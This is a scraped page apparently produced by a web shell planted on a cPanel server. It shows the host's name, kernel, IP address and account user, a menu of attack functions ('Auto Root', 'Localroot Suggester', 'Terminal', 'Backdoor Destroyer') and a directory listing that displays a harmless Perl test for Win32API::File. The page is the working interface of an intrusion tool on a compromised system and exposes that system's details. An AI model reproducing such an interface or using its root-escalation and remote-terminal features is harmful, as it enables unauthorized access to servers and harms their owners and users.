Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Win32API-File /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
file.t
13.92
KB
-r--r--r--
2014-12-27 11:48
tie.t
1.61
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!perl # vim:syntax=perl: BEGIN { $|= 1; # when building perl, skip this test if Win32API::File isn't being built if ( $ENV{PERL_CORE} ) { require Config; if ( $Config::Config{extensions} !~ m:(?<!\S)Win32API/File(?!\S): ) { print "1..0 # Skip Win32API::File extension not built\n"; exit(); } } print "1..10\n"; } END { print "not ok 1\n" unless $main::loaded; } use strict; use warnings; use Win32API::File qw(:ALL); use IO::File; $main::loaded = 1; print "ok 1\n"; unlink "foo.txt"; my $fh = Win32API::File->new("+> foo.txt") or die fileLastError(); my $tell = tell $fh; print "# tell \$fh == '$tell'\n"; print "not " unless tell $fh == 0; print "ok 2\n"; my $text = "some text\n"; print "not " unless print $fh $text; print "ok 3\n"; $tell = tell $fh; print "# after printing 'some text\\n', tell is: '$tell'\n"; print "not " unless $tell == length($text) + 1; print "ok 4\n"; print "not " unless seek($fh, 0, 0) == 0; print "ok 5\n"; print "not " unless not eof $fh; print "ok 6\n"; my $readline = <$fh>; my $pretty_readline = $readline; $pretty_readline =~ s/\r/\\r/g; $pretty_readline =~ s/\n/\\n/g; print "# read line is '$pretty_readline'\n"; print "not " unless $readline eq "some text\r\n"; print "ok 7\n"; print "not " unless eof $fh; print "ok 8\n"; print "not " unless close $fh; print "ok 9\n"; # Test out binmode (should be only LF with print, no CR). $fh = Win32API::File->new("+> foo.txt") or die fileLastError(); binmode $fh; print $fh "hello there\n"; seek $fh, 0, 0; print "not " unless <$fh> eq "hello there\n"; print "ok 10\n"; close $fh; unlink "foo.txt";